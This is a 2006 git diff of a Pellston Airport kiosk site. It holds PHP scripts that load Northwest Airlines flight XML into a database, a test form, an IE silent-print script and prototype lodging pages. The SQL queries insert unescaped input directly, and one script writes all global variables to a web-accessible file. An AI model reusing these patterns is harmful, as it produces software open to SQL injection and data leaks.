+include( 'glm_apps/XML_Support/xml_functions.inc' );
+
+define( 'EXPECTED_NWS_MSG_MAJ_VERSION',                '1' );          // Expected message XML message version from NWA 
+
+echo '<html><head></head><body>Gaslight Media - Northwest Airlines Flight Data Capture<p>';
+       
+       // Get item data
+       
+function get_nwa_item( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       return( $x );
+       }
+       
+       // Get item data as time and fix up time
+       
+function get_nwa_item_time( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       $x = strtr( $x, "TZ", "  ");
+       return( $x );
+       }
+       
+       // Return a bool item ready for database
+       
+function get_nwa_item_bool( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       if( trim($x) == 'Y' )
+               return( 't' );
+       return( 'f' );
+       }
+       
+function get_nwa_data( $XMLData )
+       {
+               // If there's data
+               
+       if( isset($XMLData) && trim($XMLData) == '' )
+               return( false );
+
+               // Extract XML into an array
+               
+       $d = glm_xml_extract( stripslashes($XMLData) );
+       
+       if( !is_array($d) )
+               return( false );
+
+               // Should have some data now. Check version number
+       if( ($msg_vers_id = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_vers_id' )) == ''       || $msg_vers_id < EXPECTED_NWS_MSG_MAJ_VERSION || $msg_vers_id >= EXPECTED_NWS_MSG_MAJ_VERSION + 1      )
+               return( false );                // Wrong major version
+               
+               // Get rest of mesage header
+               
+       $msg_dtm                        = get_nwa_item_time( $d, '/fds_fidspln/msg_hdr/msg_dtm' );                                      // Get message time - UTC
+       $msg_seq_id                     = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_seq_id' );                                        // Message sequence #
+
+               // Get flight key
+
+       $flt_orig_date          = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_orig_dte' );                     // Flight origination date
+       $flt_airline            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/al_cde' );                           // Airline ID
+       $flt_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_num' );                          // Flight Number
+       $flt_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_ap_cde' );          // Leg origin Airport code
+       $flt_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_dest_ap_cde' );          // Leg destination Airport code
+       $flt_leg_vers           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_vers_num' );        // Leg version number
+
+               // Get flight schedule - Local Times
+               
+       $sch_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_orig_ap_cde' );         // Origination Airport
+       $sch_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_dest_ap_cde' );         // Destination Airport
+       $sch_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/out_dtm' );                    // Departure Time
+       $sch_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/off_dtm' );                    // Off runway time
+       $sch_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/on_dtm' );                     // On runway Time
+       $sch_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/in_dtm' );                     // Arrival Time
+       
+               // Get flight OOOI - Local Times ( Out, Off, On, In times) - These are updated times
+               //              Time codes are ?S? (scheduled), ?E? (estimated), ?D? (decision), ?R? (in-range), ?A? (actual)
+               
+       $cur_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/out_dtm' );                    // Departure Time
+       $cur_dep_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/out_tme_type_cde' );                //              Time code
+       $cur_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/off_dtm' );                    // Off runway time
+       $cur_off_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/off_tme_type_cde' );                //              Time code
+       $cur_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/on_dtm' );                     // On runway Time
+       $cur_on_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/on_tme_type_cde' );         //              Time Code
+       $cur_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/in_dtm' );                     // Arrival Time 
+       $cur_in_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/in_tme_type_cde' );         //              Time Code
+       
+               // Get Misc information
+               
+       $delay_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/delay_cde' );                                        // Delay reason code (if any)
+       $depart_gate            = get_nwa_item( $d, '/fds_fidspln/flt_data/dptr_gate' );                                        // Departure gate
+       $arriv_gate                     = get_nwa_item( $d, '/fds_fidspln/flt_data/arvl_gate' );                                        // Arrival Gate
+       $radio_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/dlt_radio_cde' );                            // FAA Flight Radio Code
+       $aircraft                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_num' );                                           // Aircraft number
+       $reg_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_reg_num' );                                       // Aircraft FAA registration number
+       $remarks                                = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_rmks' );                                         // Remarks about flight
+       $food_code                      = get_nwa_item( $d, '/fds_fidspln/flt_data/inflt_scv_rmks' );                           // Meal service code
+       $flight_type            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_typ_cde' );                                      // Flight Type Code (PS=passenger)
+
+               // Flight Flags
+               
+       $downline_leg   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/downline_leg_ind' );            // Downline leg indicator ???
+       $overfly                = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/overfly_ind' );                         // Overfly?
+       $canceled               = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/cncl_ind' );                                    // Canceled?
+       $dep_ontime             = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_dptr_ind' );                       // Depart on schedule?
+       $arriv_ontime   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_arvl_ind' );                       // Arrive on schedule?
+       
+       if( ($f = db_auto_get_row( "SELECT msg_seq_id FROM flight WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", 0, SI_CONN_STR, FALSE )) == false )
+               {
+               db_auto_exec( "INSERT INTO flight 
+                                                       (
+                                                       msg_dtm, msg_seq_id, flt_orig_date, flt_airline, flt_numb, flt_leg_orig, flt_leg_dest, flt_leg_vers,
+                                                       sch_leg_orig, sch_leg_dest, sch_dep_time, sch_off_time, sch_on_time, sch_in_time, cur_dep_time, cur_dep_time_code,
+                                                       cur_off_time    , cur_off_time_code, cur_on_time, cur_on_time_code, cur_in_time, cur_in_time_code, delay_code,
+                                                       depart_gate, arriv_gate, radio_code, aircraft, reg_numb, remarks, food_code, flight_type, downline_leg,
+                                                       overfly, canceled, dep_ontime, arriv_ontime
+                                                       )
+                                               VALUES
+                                                       (
+                                                       '$msg_dtm', '$msg_seq_id', '$flt_orig_date', '$flt_airline', '$flt_numb', '$flt_leg_orig', '$flt_leg_dest', $flt_leg_vers,
+                                                       '$sch_leg_orig', '$sch_leg_dest', '$sch_dep_time', '$sch_off_time', '$sch_on_time', '$sch_in_time', '$cur_dep_time', '$cur_dep_time_code',
+                                                       '$cur_off_time', '$cur_off_time_code', '$cur_on_time', '$cur_on_time_code', '$cur_in_time', '$cur_in_time_code', '$delay_code',
+                                                       '$depart_gate', '$arriv_gate', '$radio_code', '$aircraft', '$reg_numb', '$remarks', '$food_code', '$flight_type', '$downline_leg',
+                                                       '$overfly', '$canceled', '$dep_ontime', '$arriv_ontime'
+                                                       );", SI_CONN_STR, FALSE );
+               
+               echo "Flight $flt_numb on $flt_orig_date added<br>";
+               }
+         else
+               {
+               if( $msg_seq_id <= $f['msg_seq_id'] )
+                       echo 'Duplicate message or message out of sequence.<br>';
+                 else
+                       {
+                       db_auto_exec( "UPDATE flight SET 
+                                                       msg_dtm = '$msg_dtm', msg_seq_id = '$msg_seq_id',
+                                                       flt_leg_orig = '$flt_leg_orig', flt_leg_dest = '$flt_leg_dest', flt_leg_vers = $flt_leg_vers, sch_leg_orig = '$sch_leg_orig',
+                                                       sch_leg_dest = '$sch_leg_dest', sch_dep_time = '$sch_dep_time', sch_off_time = '$sch_off_time', sch_on_time = '$sch_on_time', 
+                                                       sch_in_time = '$sch_in_time', cur_dep_time = '$cur_dep_time', cur_dep_time_code = '$cur_dep_time_code', cur_off_time = '$cur_off_time',
+                                                       cur_off_time_code = '$cur_off_time_code', cur_on_time = '$cur_on_time', cur_on_time_code = '$cur_on_time_code', cur_in_time = '$cur_in_time',
+                                                       cur_in_time_code = '$cur_in_time_code', delay_code = '$delay_code', depart_gate = '$depart_gate', arriv_gate = '$arriv_gate', 
+                                                       radio_code = '$radio_code', aircraft = '$aircraft', reg_numb = '$reg_numb', remarks = '$remarks', food_code = '$food_code', flight_type = '$flight_type',
+                                                       downline_leg = '$downline_leg', overfly = '$overfly', canceled = '$canceled', dep_ontime = '$dep_ontime', arriv_ontime = '$arriv_ontime'
+                                                       WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", SI_CONN_STR, FALSE );
+                       echo "Flight $flt_numb on $flt_orig_date updated<br>";
+                       }
+               }
+               
+       }       
+
+if( trim($XMLData) != '' )
+       get_nwa_data( $XMLData );
+  else
+       echo "No data received.<p>";
+
+echo '</body></html>';
+
+?>
diff --git a/nwa_data_manual.phtml b/nwa_data_manual.phtml
new file mode 100644 (file)
index 0000000..338a713
--- /dev/null
@@ -0,0 +1,179 @@
+<?
+
+
+/********************************************************************************
+ *
+ *     FILE: nwa_data.phtml - Northwest Airlines Flight Data Processing
+ *
+ *     Copyright (C) 2006 - Gaslight Media - All Rights Reserved
+ *
+ ********************************************************************************/
+
+include( 'siteinfo.inc' );
+include( 'functions.inc' );
+include( 'glm_apps/XML_Support/xml_functions.inc' );
+
+define( 'EXPECTED_NWS_MSG_MAJ_VERSION',                '1' );          // Expected message XML message version from NWA 
+
+echo '<html><head></head><body>';
+
+       // *** TEMP FORM TO GET TEST DATA
+       
+echo 'Test Data<br>
+               <form action="'.SI_THIS_SCRIPT.'" method="POST">
+                       <input type="TEXT" name="XMLData"> 
+                       <input type="SUBMIT" name="Submit Test Data">
+               </form>
+       ';
+       
+       // Get item data
+       
+function get_nwa_item( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       return( $x );
+       }
+       
+       // Get item data as time and fix up time
+       
+function get_nwa_item_time( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       $x = strtr( $x, "TZ", "  ");
+       return( $x );
+       }
+       
+       // Return a bool item ready for database
+       
+function get_nwa_item_bool( $data, $path )
+       {
+       if( ($x = glm_xml_xpath( $data, 'get_node_text', $path )) == '' ) 
+               return( false );                // No data returned
+       if( trim($x) == 'Y' )
+               return( 't' );
+       return( 'f' );
+       }
+       
+function get_nwa_data( $XMLData )
+       {
+               // If there's data
+               
+       if( isset($XMLData) && trim($XMLData) == '' )
+               return( false );
+
+               // Extract XML into an array
+               
+       $d = glm_xml_extract( stripslashes($XMLData) );
+       
+       if( !is_array($d) )
+               return( false );
+
+               // Should have some data now. Check version number
+       if( ($msg_vers_id = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_vers_id' )) == ''       || $msg_vers_id < EXPECTED_NWS_MSG_MAJ_VERSION || $msg_vers_id >= EXPECTED_NWS_MSG_MAJ_VERSION + 1      )
+               return( false );                // Wrong major version
+               
+               // Get rest of mesage header
+               
+       $msg_dtm                        = get_nwa_item_time( $d, '/fds_fidspln/msg_hdr/msg_dtm' );                                      // Get message time - UTC
+       $msg_seq_id                     = get_nwa_item( $d, '/fds_fidspln/msg_hdr/msg_seq_id' );                                        // Message sequence #
+
+               // Get flight key
+
+       $flt_orig_date          = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_orig_dte' );                     // Flight origination date
+       $flt_airline            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/al_cde' );                   // Airline ID
+       $flt_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/flt_num' );                          // Flight Number
+       $flt_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_ap_cde' );          // Leg origin Airport code
+       $flt_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_dest_ap_cde' );          // Leg destination Airport code
+       $flt_leg_vers           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_key/leg_orig_vers_num' );        // Leg version number
+
+               // Get flight schedule - Local Times
+               
+       $sch_leg_orig           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_orig_ap_cde' );         // Origination Airport
+       $sch_leg_dest           = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_sked/leg_dest_ap_cde' );         // Destination Airport
+       $sch_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/out_dtm' );                    // Departure Time
+       $sch_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/off_dtm' );                    // Off runway time
+       $sch_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/on_dtm' );                     // On runway Time
+       $sch_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_sked/in_dtm' );                     // Arrival Time
+       
+               // Get flight OOOI - Local Times ( Out, Off, On, In times) - These are updated times
+               //              Time codes are ?S? (scheduled), ?E? (estimated), ?D? (decision), ?R? (in-range), ?A? (actual)
+               
+       $cur_dep_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/out_dtm' );                    // Departure Time
+       $cur_dep_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/out_tme_type_cde' );                //              Time code
+       $cur_off_time           = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/off_dtm' );                    // Off runway time
+       $cur_off_time_code      = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/off_tme_type_cde' );                //              Time code
+       $cur_on_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/on_dtm' );                     // On runway Time
+       $cur_on_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/on_tme_type_cde' );         //              Time Code
+       $cur_in_time                    = get_nwa_item_time( $d, '/fds_fidspln/flt_data/flt_oooi/in_dtm' );                     // Arrival Time 
+       $cur_in_time_code       = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_oooi/in_tme_type_cde' );         //              Time Code
+       
+               // Get Misc information
+               
+       $delay_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/delay_cde' );                                        // Delay reason code (if any)
+       $depart_gate            = get_nwa_item( $d, '/fds_fidspln/flt_data/dptr_gate' );                                        // Departure gate
+       $arriv_gate                     = get_nwa_item( $d, '/fds_fidspln/flt_data/arvl_gate' );                                        // Arrival Gate
+       $radio_code                     = get_nwa_item( $d, '/fds_fidspln/flt_data/dlt_radio_cde' );                            // FAA Flight Radio Code
+       $aircraft                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_num' );                                           // Aircraft number
+       $reg_numb                       = get_nwa_item( $d, '/fds_fidspln/flt_data/ac_reg_num' );                                       // Aircraft FAA registration number
+       $remarks                                = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_rmks' );                                         // Remarks about flight
+       $food_code                      = get_nwa_item( $d, '/fds_fidspln/flt_data/inflt_scv_rmks' );                           // Meal service code
+       $flight_type            = get_nwa_item( $d, '/fds_fidspln/flt_data/flt_typ_cde' );                                      // Flight Type Code (PS=passenger)
+
+               // Flight Flags
+               
+       $downline_leg   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/downline_leg_ind' );            // Downline leg indicator ???
+       $overfly                = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/overfly_ind' );                         // Overfly?
+       $canceled               = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/cncl_ind' );                                    // Canceled?
+       $dep_ontime             = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_dptr_ind' );                       // Depart on schedule?
+       $arriv_ontime   = get_nwa_item_bool( $d, '/fds_fidspln/flt_data/sked_arvl_ind' );                       // Arrive on schedule?
+       
+       if( ($f = db_auto_get_row( "SELECT msg_seq_id FROM flight WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", 0, SI_CONN_STR, FALSE )) == false )
+               {
+               db_auto_exec( "INSERT INTO flight 
+                                                       (
+                                                       msg_dtm, msg_seq_id, flt_orig_date, flt_airline, flt_numb, flt_leg_orig, flt_leg_dest, flt_leg_vers,
+                                                       sch_leg_orig, sch_leg_dest, sch_dep_time, sch_off_time, sch_on_time, sch_in_time, cur_dep_time, cur_dep_time_code,
+                                                       cur_off_time    , cur_off_time_code, cur_on_time, cur_on_time_code, cur_in_time, cur_in_time_code, delay_code,
+                                                       depart_gate, arriv_gate, radio_code, aircraft, reg_numb, remarks, food_code, flight_type, downline_leg,
+                                                       overfly, canceled, dep_ontime, arriv_ontime
+                                                       )
+                                               VALUES
+                                                       (
+                                                       '$msg_dtm', '$msg_seq_id', '$flt_orig_date', '$flt_airline', '$flt_numb', '$flt_leg_orig', '$flt_leg_dest', $flt_leg_vers,
+                                                       '$sch_leg_orig', '$sch_leg_dest', '$sch_dep_time', '$sch_off_time', '$sch_on_time', '$sch_in_time', '$cur_dep_time', '$cur_dep_time_code',
+                                                       '$cur_off_time', '$cur_off_time_code', '$cur_on_time', '$cur_on_time_code', '$cur_in_time', '$cur_in_time_code', '$delay_code',
+                                                       '$depart_gate', '$arriv_gate', '$radio_code', '$aircraft', '$reg_numb', '$remarks', '$food_code', '$flight_type', '$downline_leg',
+                                                       '$overfly', '$canceled', '$dep_ontime', '$arriv_ontime'
+                                                       );", SI_CONN_STR, FALSE );
+               
+               echo "Flight $flt_numb on $flt_orig_date added<br>";
+               }
+         else
+               {
+               if( $msg_seq_id <= $f['msg_seq_id'] )
+                       echo 'Duplicate message or message out of sequence.<br>';
+                 else
+                       {
+                       db_auto_exec( "UPDATE flight SET 
+                                                       msg_dtm = '$msg_dtm', msg_seq_id = '$msg_seq_id',
+                                                       flt_leg_orig = '$flt_leg_orig', flt_leg_dest = '$flt_leg_dest', flt_leg_vers = $flt_leg_vers, sch_leg_orig = '$sch_leg_orig',
+                                                       sch_leg_dest = '$sch_leg_dest', sch_dep_time = '$sch_dep_time', sch_off_time = '$sch_off_time', sch_on_time = '$sch_on_time', 
+                                                       sch_in_time = '$sch_in_time', cur_dep_time = '$cur_dep_time', cur_dep_time_code = '$cur_dep_time_code', cur_off_time = '$cur_off_time',
+                                                       cur_off_time_code = '$cur_off_time_code', cur_on_time = '$cur_on_time', cur_on_time_code = '$cur_on_time_code', cur_in_time = '$cur_in_time',
+                                                       cur_in_time_code = '$cur_in_time_code', delay_code = '$delay_code', depart_gate = '$depart_gate', arriv_gate = '$arriv_gate', 
+                                                       radio_code = '$radio_code', aircraft = '$aircraft', reg_numb = '$reg_numb', remarks = '$remarks', food_code = '$food_code', flight_type = '$flight_type',
+                                                       downline_leg = '$downline_leg', overfly = '$overfly', canceled = '$canceled', dep_ontime = '$dep_ontime', arriv_ontime = '$arriv_ontime'
+                                                       WHERE flt_orig_date = '$flt_orig_date' AND flt_numb = '$flt_numb';", SI_CONN_STR, FALSE );
+                       echo "Flight $flt_numb on $flt_orig_date updated<br>";
+                       }
+               }
+               
+       }       
+
+get_nwa_data( $XMLData );
+
+echo '</body></html>';
+
+?>
diff --git a/nwa_test.phtml b/nwa_test.phtml
new file mode 100644 (file)
index 0000000..b664336
--- /dev/null
@@ -0,0 +1,21 @@
+<?
+
+$fp = fopen( "/home/httpd/www/kiosk.pellstonairport.com/NWA_Feed.txt", "a" );
+
+fputs( $fp, '
+--------------START---------------
+' );
+
+while( list ($key, $value) = each($GLOBALS) )
+       fputs( $fp, "$key = $value<br>\n" );
+
+fputs( $fp, '--------------END---------------
+
+
+
+' );
+
+fclose( $fp );
+
+
+?>
diff --git a/print.html b/print.html
new file mode 100755 (executable)
index 0000000..328d663
--- /dev/null
@@ -0,0 +1,89 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
+}
+img#gaslightlogo {
+       margin-left: auto;
+       margin-right: auto;
+       display: block;
+       text-align: center;
+       }
+h1, h2 {
+  font-size: 110%;
+  letter-spacing: 0.1em;
+  font-weight: bold;
+  text-transform: uppercase;
+  text-align: center;
+}
+hr {
+       height: 2px;
+       color: #006830;
+       background-color: #1d58a5;
+       border: 1px solid #1d58a5;
+       }
+p { text-align: center; }
+#copy {font-size: 76%;}
+a:link {color: #1d58a5;}
+a:visited {color: #5F89BF;}
+a:active {color: #1d58a5;}
+a:hover {color: #000;}
+-->
+</style>
+<SCRIPT language="JavaScript">
+
+function ieExecWB( intOLEcmd, intOLEparam )
+{ // Create OLE Object
+          var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
+
+          // Place Object on page
+          document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
+
+          // if intOLEparam is not defined, set it
+//          if ( ( ! intOLEparam ) || ( intOLEparam < -1 ) || (intOLEparam > 1) )
+//           intOLEparam = 1;
+
+          // Execute Object
+          WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
+
+          // Destroy Object
+          WebBrowser1.outerHTML = "";
+}
+
+function printAll()
+{
+        ieExecWB(6,-1);
+} 
+</script>
+</head>
+<body>
+<img id="gaslightlogo" src="http://ws1.gaslightmedia.com/logos/gaslight.gif"
+alt="Gaslight Media Logo">
+<h1>Development Area</h1>
+<hr>
+<p>You have reached the development area for a Gaslight Media customer Web site.</p>
+<h2>www.pellstonairport.com</h2>
+<p><a href="prototype/lodging_list.html">Prototype New List Buttons</a>, 3 different looks</p>
+<hr>
+<p>Revised, 03.10.06: <a href="prototype/revised/home.html">Home</a> <!-- &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainA.html">Lodging, Main-A</a> &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainB.html">Lodging, Main-B</a>  &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainC.html">Lodging, Main-C</a> --> &nbsp;|&nbsp; <a href="prototype/revised/lodging_mainD.html">Lodging, Main</a> &nbsp;|&nbsp; <a href="prototype/revised/lodging_loading.html">Lodging, Loading Page</a> &nbsp;|&nbsp; <a href="prototype/revised/lodgin_detail.html">Lodging, Detail Page</a></p>
+<hr>
+<p><a href="prototype/index.html">Prototype</a> &nbsp;|&nbsp; <a href="prototype/lodging.html">Lodging, main page</a> &nbsp;|&nbsp; <a href="prototype/lodging2b.html">Lodging, next</a></p>
+<hr>
+<p><a href="gallery/index.html"><img src="gallery.jpg" alt="gallery" hspace="0" vspace="0" border="0"></a></p>
+<hr>
+                <button onClick="printAll()">
+                   Print Me! - No Prompt!
+                </button>
+
+<p id="copy">
+Copyright&copy;2006 <a href="http://www.gaslightmedia.com">Gaslight
+Media</a> &middot; All rights reserved</p>
+</body>
+</html>
diff --git a/print.js b/print.js
new file mode 100755 (executable)
index 0000000..1db5e6b
--- /dev/null
+++ b/print.js
@@ -0,0 +1,11 @@
+function ieExecWB( intOLEcmd, intOLEparam )
+{ 
+       var WebBrowser = '<OBJECT ID="WebBrowser1" WIDTH=0 HEIGHT=0 CLASSID="CLSID:8856F961-340A-11D0-A96B-00C04FD705A2"></OBJECT>';
+       document.body.insertAdjacentHTML('beforeEnd', WebBrowser);
+       WebBrowser1.ExecWB( intOLEcmd, intOLEparam );
+       WebBrowser1.outerHTML = "";
+}
+function printAll()
+{
+       ieExecWB(6,-1);
+}
diff --git a/prototype/._lodging_list.html b/prototype/._lodging_list.html
new file mode 100755 (executable)
index 0000000..79500bd
Binary files /dev/null and b/prototype/._lodging_list.html differ
diff --git a/prototype/._lodging_list.jpg b/prototype/._lodging_list.jpg
new file mode 100755 (executable)
index 0000000..ace5e0c
Binary files /dev/null and b/prototype/._lodging_list.jpg differ
diff --git a/prototype/._lodging_list.psd b/prototype/._lodging_list.psd
new file mode 100755 (executable)
index 0000000..124793c
Binary files /dev/null and b/prototype/._lodging_list.psd differ
diff --git a/prototype/._lodging_list2.html b/prototype/._lodging_list2.html
new file mode 100755 (executable)
index 0000000..79500bd
Binary files /dev/null and b/prototype/._lodging_list2.html differ
diff --git a/prototype/._lodging_list2.jpg b/prototype/._lodging_list2.jpg
new file mode 100755 (executable)
index 0000000..ace5e0c
Binary files /dev/null and b/prototype/._lodging_list2.jpg differ
diff --git a/prototype/Thumbs.db b/prototype/Thumbs.db
new file mode 100644 (file)
index 0000000..a25873c
Binary files /dev/null and b/prototype/Thumbs.db differ
diff --git a/prototype/detail.php b/prototype/detail.php
new file mode 100755 (executable)
index 0000000..dc19a7d
--- /dev/null
@@ -0,0 +1,57 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+"http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Pellston Airport: Area Lodging</title>
+<meta http-equiv="content-type" content="text/html;charset=utf-8">
+<link rel="stylesheet" type="text/css" href="styles.css">
+</head>
+<body id="detail-page">
+  <map name="Map"> 
+    <area shape="rect" coords="0,0,231,98" href="#" alt="Flight Status" title="Flight Status">
+    <area shape="rect" coords="0,97,231,192" href="#" alt="About Us" title="About Us">
+    <area shape="rect" coords="0,191,231,287" href="#" alt="Services" title="Services">
+    <area shape="rect" coords="0,286,231,382" href="#" alt="Area Lodging" title="Area Lodging">
+    <area shape="rect" coords="1,381,231,481" href="#" alt="Transportation" title="Transportation">
+    <area shape="rect" coords="0,479,230,570" href="#" alt="Dining" title="Dining">
+    <area shape="rect" coords="0,569,231,670" href="#" alt="Area Info" title="Area Info">
+    <area shape="rect" coords="2,669,231,766" href="#" alt="Attractions" title="Attractions">
+  </map>
+<div id="wrapper">
+       <div id="content-inside">
+               <div id="list-top">
+                       <div id="list-top-head">
+                               <div id="list-top-head-cat">Area Loding</div>
+                               <div id="list-top-head-name">Mackinaw City</div>
+                       </div><!-- #list-top-head -->
+                       <a href="#" id="print"><img src="assets/print.gif" width="168" height="59" alt="print (2K)"></a>
+               </div><!-- #list-top -->
+               <div id="details">
+                       <div id="detail-name">
+                               Chippewa Hotel
+                               <div class="detail-address">
+                                       P.O. Box 250<br>
+                                       Mackinac Island, MI 49757
+                               </div>
+                               <div class="detail-url"><a href="http://www.chippewshotel.com/">www.chippewshotel.com</a></div>
+                               <div class="detail-email"><a href="mailto:info@www.chippewshotel.com">info@www.chippewshotel.com</a></div>
+                       </div><!-- #detail-name -->
+                       <a href="list.php"><img src="assets/back.gif" width="114" height="48" alt="back (2K)" id="detail-back"></a>
+      <a href="#"><img src="assets/call.gif" width="148" height="38" alt="call (1K)" class="detail-call"></a>
+      <a href="#"><img src="assets/map-directions.gif" width="148" height="33" alt="map-directions (2K)" class="detail-map-directions"></a>
+                       <div id="detail-detail">
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                               Located on Main Street, on the water's edge, you're within walking distance to the ferry docks, marina, carriage tours, shops and historic attractions. The Chippewa Hotel offers Mackinac-Vicotiran style and atmosphere while providing modern amenities and comfort.
+                       </div>
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <img src="assets/temp-detail-photo.jpg" width="197" height="131" alt="temp-detail-photo (3K)" class="detail-photo">
+                       <div class="clearer"></div>
+               </div><!-- #details -->
+       </div><!-- #content-inside -->
+  <img src="assets/nav-inside.gif" width="232" height="768" alt="nav-inside (19K)" id="nav-inside" usemap="#Map" border="0">
+       <img src="assets/temp-banner.gif" width="468" height="60" alt="temp-banner (11K)" id="banner-inside">
+</div><!-- #wrapper -->        
+</body>
+</html>
diff --git a/prototype/dialing-layer.psd b/prototype/dialing-layer.psd
new file mode 100755 (executable)
index 0000000..4880fcb
Binary files /dev/null and b/prototype/dialing-layer.psd differ
diff --git a/prototype/home_breakout.psd b/prototype/home_breakout.psd
new file mode 100755 (executable)
index 0000000..bb3064c
Binary files /dev/null and b/prototype/home_breakout.psd differ
diff --git a/prototype/index.html b/prototype/index.html
new file mode 100755 (executable)
index 0000000..c6c5e8b
--- /dev/null
@@ -0,0 +1,50 @@
+<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
+ "http://www.w3.org/TR/html4/strict.dtd">
+<html>
+<head>
+<title>Customer Development Server</title>
+<style type="text/css">
+<!--
+body {
+  background: white;
+  font-size: 100%;
+  font-family: arial, helvetica, sans-serif;
